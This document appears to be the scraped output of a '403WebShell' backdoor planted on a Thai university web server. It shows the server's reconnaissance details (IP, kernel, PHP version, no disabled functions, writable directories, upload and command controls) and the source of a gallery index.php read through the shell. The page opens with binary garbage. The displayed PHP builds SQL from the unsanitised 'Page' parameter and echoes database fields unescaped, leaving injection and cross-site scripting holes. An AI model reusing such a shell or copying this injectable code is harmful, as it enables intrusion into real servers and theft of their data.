h(  ) ($6;EbBLkfu�_l� ''8;DUFKV3Dd#,?ANk&5G$/(5M\^�ms����Sb�,;R''6c2I�!\����kx�Ve�[i��Me�IYO7:nOL~�Kr�qrv�I:�BM�y��s}r��K����x)1�6@r*2�89ma��&��'ti������{~#������t)1�2<�0:^5�W.uFzQ/u}�v��vv�u��U37yDJeEJo(/�5Ds'1�:Jlu�iy�iy�hw�1;:S`^BMLOQQn,4�7C�8C�>Lfe�]k�[i�Zg��IW�LZ�EP;,.��Tc�q(0) G,/]/1����w�r��l&-t*3�<<�u��#����j&.u��J68\8?"#$%&'()*+,-./0 ! 
Notice: Undefined index: dl in /var/www/html/web/simple.mini.php on line 1
403WebShell
403Webshell
Server IP : 10.254.12.21  /  Your IP : 10.254.12.21
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.6.40
System : Linux arit.skru.ac.th 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/skruarchives/skruarchives_gallery/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/skruarchives/skruarchives_gallery/index.php
<?php include 'dbconnect.php';?>
<!DOCTYPE html>
<html lang="zxx" class="no-js">
<head>
	<!-- Mobile Specific Meta -->
	<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
	<!-- Favicon-->
	<link rel="shortcut icon" href="img/fav.png">
	<!-- Author Meta -->
	<meta name="author" content="Colorlib">
	<!-- Meta Description -->
	<meta name="description" content="">
	<!-- Meta Keyword -->
	<meta name="keywords" content="">
	<!-- meta character set -->
	<meta charset="UTF-8">
	<!-- Site Title -->
	<title>ภาพแห่งความทรงจำ</title>

	<link href="https://fonts.googleapis.com/css?family=Poppins:100,300,500,600" rel="stylesheet">
		<!--
		CSS
		============================================= -->
		<link rel="stylesheet" href="css/linearicons.css">
		<link rel="stylesheet" href="css/font-awesome.min.css">
		<link rel="stylesheet" href="css/nice-select.css">
		<link rel="stylesheet" href="css/magnific-popup.css">
		<link rel="stylesheet" href="css/bootstrap.css">
		<link rel="stylesheet" href="css/main.css">
	</head>
	<body>
		<div class="main-wrapper-first">
			<div class="hero-area relative">
				<header>
					<div class="container">
						<div class="header-wrap">
							<div class="header-top d-flex justify-content-between align-items-center">
								<div class="logo">
									<h3 class="text-uppercase"><a href="http://arit.skru.ac.th"><img src="img/aritlogo2.png" alt=""> สำนักวิทยบริการและเทคโนโลยีสารสนเทศ</a></h3>
								</div>
								<div class="main-menubar d-flex align-items-center">
									<nav class="hide">
										<a href="index.php">Home</a>
										<a href="admin/pages/index.php">Admin</a>
										<!--<a href="generic.html">Generic</a>
										<a href="elements.html">Elements</a>-->
									</nav>
									<div class="menu-bar"><span class="lnr lnr-menu"></span></div>
								</div>
							</div>
						</div>
					</div>
				</header>
				<!--<div class="banner-area relative">
					<div class="overlay hero-overlay-bg"></div>
					<div class="container">
						<div class="row height align-items-center justify-content-center">
							<div class="col-lg-7">
								<div class="banner-content text-center">
									<h1 class="text-uppercase text-white"><span>Yaseen</span> <br> What else do you need?</h1>
									<p class="text-white p-2 mb-30">
										inappropriate behavior is often laughed off as “boys will be boys,” women face higher conduct standards – especially in the workplace. That’s why it’s crucial that, as women.
									</p>

								</div>
							</div>
						</div>
					</div>
				</div>-->
			</div>
		</div>
		<div class="main-wrapper">

			<!-- Start about Area -->
			<!--<section class="about-area pt-100 pb-100">
				<div class="container">
					<div class="row align-items-center justify-content-between">
						<div class="col-lg-6 col-md-12 col-sm-12 about-left">
								<img class="img-fluid" src="img/about.jpg" alt="">
						</div>
						<div class="col-lg-6 col-md-12 col-sm-12 about-right">
							<span class="lnr lnr-sun"></span>
							<h1 class="text-uppercase">

								<span>Visually</span> <br>
								clean & Perfect
							</h1>
							<p>
								Here, I focus on a range of items and features that we use in life without giving them a second thought such as Coca Cola Here, I focus on a range of items and features that we use in life without giving them a second thought such as Coca Cola.
							</p>
							<a class="learn-btn text-uppercase" href="#">Learn Details</a>
						</div>
					</div>
				</div>
			</section>-->
			<!-- End about Area -->

			<!-- Start feature Area -->
			<!--<section class="feature-area pt-100 pb-100">
				<div class="container">
					<div class="row">
						<div class="col-lg-4 col-md-6 d-flex flex-row">
							<div class="single-feature">
								<h2 class="text-uppercase">Multiple Layouts</h2>
								<p>
									Usage of the Internet is becoming more common due to rapid advancement of technology and the power of globalization.
								</p>
							</div>
						</div>
						<div class="col-lg-4 col-md-6 d-flex flex-row">
							<div class="single-feature">
								<h2 class="text-uppercase">Endless Features</h2>
								<p>
									Usage of the Internet is becoming more common due to rapid advancement of technology and the power of globalization.
								</p>
							</div>
						</div>
						<div class="col-lg-4 col-md-6 d-flex flex-row">
							<div class="single-feature">
								<h2 class="text-uppercase">Responsive View</h2>
								<p>
									Usage of the Internet is becoming more common due to rapid advancement of technology and the power of globalization.
								</p>
							</div>
						</div>
						<div class="col-lg-4 col-md-6 d-flex flex-row">
							<div class="single-feature">
								<h2 class="text-uppercase">Clean Coding</h2>
								<p>
									Usage of the Internet is becoming more common due to rapid advancement of technology and the power of globalization.
								</p>
							</div>
						</div>
						<div class="col-lg-4 col-md-6 d-flex flex-row">
							<div class="single-feature">
								<h2 class="text-uppercase">Fully Customizables</h2>
								<p>
									Usage of the Internet is becoming more common due to rapid advancement of technology and the power of globalization.
								</p>
							</div>
						</div>
						<div class="col-lg-4 col-md-6 d-flex flex-row">
							<div class="single-feature">
								<h2 class="text-uppercase">Flexible Design</h2>
								<p>
									Usage of the Internet is becoming more common due to rapid advancement of technology and the power of globalization.
								</p>
							</div>
						</div>
					</div>
				</div>
			</section>-->
			<!-- End feature Area -->

			<!-- Start facts Area -->
			<!--<section class="facts-area pt-100 pb-100">
				<div class="container">
					<div class="row">
						<div class="col-lg-3 col-md-6 single-fact">
							<h2 class="counter">2536</h2>
							<p class="text-uppercase">New Followers</p>
						</div>
						<div class="col-lg-3 col-md-6 single-fact">
							<h2 class="counter">6785</h2>
							<p class="text-uppercase">Site Visitors</p>
						</div>
						<div class="col-lg-3 col-md-6 single-fact">
							<h2 class="counter">1059</h2>
							<p class="text-uppercase">Online now</p>
						</div>
						<div class="col-lg-3 col-md-6 single-fact">
							<h2 class="counter">2239</h2>
							<p class="text-uppercase">New Customers</p>
						</div>
					</div>
				</div>
			</section>-->
			<!-- End facts Area -->

			<!-- Start secvice Area -->
			<section class="secvice-area pt-90 pb-90">
				<div class="container">
<h2 class="text-uppercase">ภาพแห่งความทรงจำ</h2>
<p></p>
					<div class="row">
<?php	
	$sql = "SELECT * from gallery";
	$sql .= " WHERE album_id=1";
	$sql .= " ORDER BY gallery_date DESC";

	$query = mysqli_query($conn,$sql);

	$num_rows = mysqli_num_rows($query);

	$per_page = 12;   // Per Page
	$page  = 1;
	
	if(isset($_GET["Page"]))
	{
		$page = $_GET["Page"];
	}

	$prev_page = $page-1;
	$next_page = $page+1;

	$row_start = (($per_page*$page)-$per_page);
	if($num_rows<=$per_page)
	{
		$num_pages =1;
	}
	else if(($num_rows % $per_page)==0)
	{
		$num_pages =($num_rows/$per_page) ;
	}
	else
	{
		$num_pages =($num_rows/$per_page)+1;
		$num_pages = (int)$num_pages;
	}

	$row_end = $per_page;

	$sql .= " LIMIT $row_start ,$row_end";
	$query = mysqli_query($conn,$sql);

	while($result=mysqli_fetch_array($query,MYSQLI_ASSOC))
	{
		$sql2 = "SELECT * from gallery_image";
		$sql2 .= " WHERE (gallery_id=" . $result["gallery_id"] . ") AND (is_cover_image=1)";
		$query2 = mysqli_query($conn,$sql2);
		if ($result2=mysqli_fetch_array($query2,MYSQLI_ASSOC))
		{
			$cover_image = "image_gallery/" . $result["gallery_id"] . "/" . $result2["image_file"];
		}
		else
		{
			$sql2 = "SELECT * from gallery_image";
			$sql2 .= " WHERE (gallery_id=" . $result["gallery_id"] . ")";
			$sql2 .= " ORDER BY image_order ASC";
			$query2 = mysqli_query($conn,$sql2);
			if ($result2=mysqli_fetch_array($query2,MYSQLI_ASSOC))
			{
				$cover_image = "image_gallery/" . $result["gallery_id"] . "/" . $result2["image_file"];
			}	
			else
			{
				$cover_image = "";
			}	
		}	
?>						
						<div class="col-md-4 single-service">
							<a href="image_view.php?id=<?php echo $result["gallery_id"];?>"><img class="d-block mx-auto img-fluid" src="<?php echo $cover_image;?>" alt=""></a>
							<div class="desc">
								<a href="image_view.php?id=<?php echo $result["gallery_id"];?>"><h2 class="text-uppercase"><?php echo $result["gallery_name"];?></h2></a>
								<p><?php echo $result["gallery_detail"];?>
								<br><br><?php echo $result["gallery_date"];?>
								</p>
								<!--<p><?php //echo $result["gallery_date"];?></p>-->
								<!--<a class="text-uppercase view-details" href="#">View Details</a>-->
							</div>
						</div>
						<!--<div class="col-md-4 single-service">
							<div class="desc">
								<h2 class="text-uppercase">To Hire A Personal Chef</h2>
								<p>
									Usage of the Internet is becoming more common due to rapid advancement of technology and the power of globalization. Societies.
								</p>
								<a class="text-uppercase view-details" href="#">View Details</a>
							</div>
							<img class="d-block mx-auto img-fluid" src="img/s2.jpg" alt="">
						</div>
						<div class="col-md-4 single-service">
							<img class="d-block mx-auto img-fluid" src="img/s3.jpg" alt="">
							<div class="desc">
								<h2 class="text-uppercase">Thrill Friends And Family</h2>
								<p>
									Usage of the Internet is becoming more common due to rapid advancement of technology and the power of globalization. Societies.
								</p>
								<a class="text-uppercase view-details" href="#">View Details</a>
							</div>
						</div>-->
<?php
	}
?>	
					</div>
<p align="center">Total <?php echo $num_rows;?> Gallery : <?php echo $num_pages;?> Page</p>


    <!-- Pagination -->
	<ul class="pagination justify-content-center">

<?php
if($prev_page)
{
	//echo " <a href='$_SERVER[SCRIPT_NAME]?Page=$prev_page&txtKeyword=$strKeyword'><< Back</a> ";
?>
      <li class="page-item">
        <a class="page-link" href="<?php echo $_SERVER[SCRIPT_NAME] . "?Page=" . $prev_page . "&txtKeyword=" . $strKeyword;?>" aria-label="Previous">
          <span aria-hidden="true">&laquo;</span>
          <span class="sr-only">Previous</span>
        </a>
      </li>
<?php	
}

for($i=1; $i<=$num_pages; $i++){
	if($i != $page)
	{
		//echo "[ <a href='$_SERVER[SCRIPT_NAME]?Page=$i&txtKeyword=$strKeyword'>$i</a> ]";
?>
      <li class="page-item">
        <a class="page-link" href="<?php echo $_SERVER[SCRIPT_NAME] . "?Page=" . $i . "&txtKeyword=" . $strKeyword;?>"><?php echo $i;?></a>
      </li>		
<?php
	}
	else
	{
		//echo "<b> $i </b>";
?>
      <li class="page-item">
        <a class="page-link"><?php echo $i;?></a>
      </li>			
<?php
	}
}
if($page!=$num_pages)
{
	//echo " <a href ='$_SERVER[SCRIPT_NAME]?Page=$next_page&txtKeyword=$strKeyword'>Next>></a> ";
?>
      <li class="page-item">
        <a class="page-link" href="<?php echo $_SERVER[SCRIPT_NAME] . "?Page=" . $next_page . "&txtKeyword=" . $strKeyword;?>" aria-label="Next">
          <span aria-hidden="true">&raquo;</span>
          <span class="sr-only">Next</span>
        </a>
      </li>
<?php
}							
?>					
        </ul>
				</div>
			</section>
			<!-- End secvice Area -->

			<!-- Start feature-bottom Area -->
			<!--<section class="feature-bottom-area pt-100 pb-100">
				<div class="container">
					<div class="row ">
						<div class="col-lg-4 col-md-12 single-feat2 d-flex justify-content-between align-items-top">
							<div class="count">
								<h1>01</h1>
							</div>
							<div class="desc">
								<h2 class="text-uppercase">responsive View</h2>
								<p>
									Usage of the Internet is becoming more common due to rapid advancement of technology and the power of globalization.
								</p>
							</div>
						</div>
						<div class="col-lg-4 col-md-12 single-feat2 d-flex justify-content-between align-items-top">
							<div class="count">
								<h1>02</h1>
							</div>
							<div class="desc">
								<h2 class="text-uppercase">Multiple Layouts</h2>
								<p>
									Usage of the Internet is becoming more common due to rapid advancement of technology and the power of globalization.
								</p>
							</div>
						</div>
						<div class="col-lg-4 col-md-12 single-feat2 d-flex justify-content-between align-items-top">
							<div class="count">
								<h1>03</h1>
							</div>
							<div class="desc">
								<h2 class="text-uppercase">Flexible Design</h2>
								<p>
									Usage of the Internet is becoming more common due to rapid advancement of technology and the power of globalization.
								</p>
							</div>
						</div>
					</div>
				</div>
			</section>-->
			<!-- End feature-bottom Area -->
			<!-- Start Subscription Area -->
			<!--<section class="subscription-area pt-100 pb-100">
				<div class="container">
					<div class="row justify-content-center">
						<div class="col-lg-8">
							<div class="section-title text-center">
								<h3 class="text-uppercase text-white"><span>Subscribe</span> <br>
								for our Newsletter</h3>
								<span class="text-white">We won’t send any kind of spam</span>
							</div>
						</div>
					</div>
					<div class="row justify-content-center">
						<div class="col-lg-6">
							<div id="mc_embed_signup">
								<form target="_blank" novalidate action="https://spondonit.us12.list-manage.com/subscribe/post?u=1462626880ade1ac87bd9c93a&id=92a4423d01" method="get" class="subscription relative">
									<input type="email" name="EMAIL" placeholder="Email address" onFocus="this.placeholder = ''" onBlur="this.placeholder = 'Email address'" required>
									<div style="position: absolute; left: -5000px;">
										<input type="text" name="b_36c4fd991d266f23781ded980_aefe40901a" tabindex="-1" value="">
									</div>
									<button class="primary-btn hover d-inline-flex align-items-center"><span class="mr-10">Get Started</span><span class="lnr lnr-arrow-right"></span></button>
									<div class="info"></div>
								</form>
							</div>
						</div>
					</div>
				</div>
			</section>-->
			<!-- End Subscription Area -->
			<!-- Start Footer Widget Area -->
			<section class="footer-area pt-60 pb-60">
				<div class="container">
					<!--<div class="row d-flex justify-content-center">
						<ul class="footer-menu">
							<li>
								<a href="index.html">Home</a>
							</li>
							<li>
								<a href="generic.html">Generic</a>
							</li>
							<li>
								<a href="elements.html">Elements</a>
							</li>
						</ul>
					</div>-->
					<footer>
							<!--<div class="footer-social">
								<a href="#"><i class="fa fa-facebook"></i></a>
								<a href="#"><i class="fa fa-twitter"></i></a>
								<a href="#"><i class="fa fa-dribbble"></i></a>
								<a href="#"><i class="fa fa-behance"></i></a>
							</div>-->
							<div class="footer-content">
								<div class="text-center">
									Copyright © 2018 All rights reserved   |   This template is made with <i class="fa fa-heart-o" aria-hidden="true"></i> by <a href="https://colorlib.com">Colorlib</a>
							</div>
						</div>
					</footer>
			</section>
			<!-- End Footer Widget Area -->
		</div>
		<script src="js/vendor/jquery-2.2.4.min.js"></script>
		<script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.11.0/umd/popper.min.js" integrity="sha384-b/U6ypiBEHpOf/4+1nzFpr53nxSS+GLCkfwBdFNTxtclqqenISfwAzpKaMNFNmj4" crossorigin="anonymous"></script>
		<script src="js/vendor/bootstrap.min.js"></script>
		<script src="js/jquery.ajaxchimp.min.js"></script>
		<script src="js/jquery.nice-select.min.js"></script>
		<script src="js/jquery.magnific-popup.min.js"></script>
		<script src="js/waypoints.min.js"></script>
		<script src="js/jquery.counterup.min.js"></script>
		<script src="js/main.js"></script>
	</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit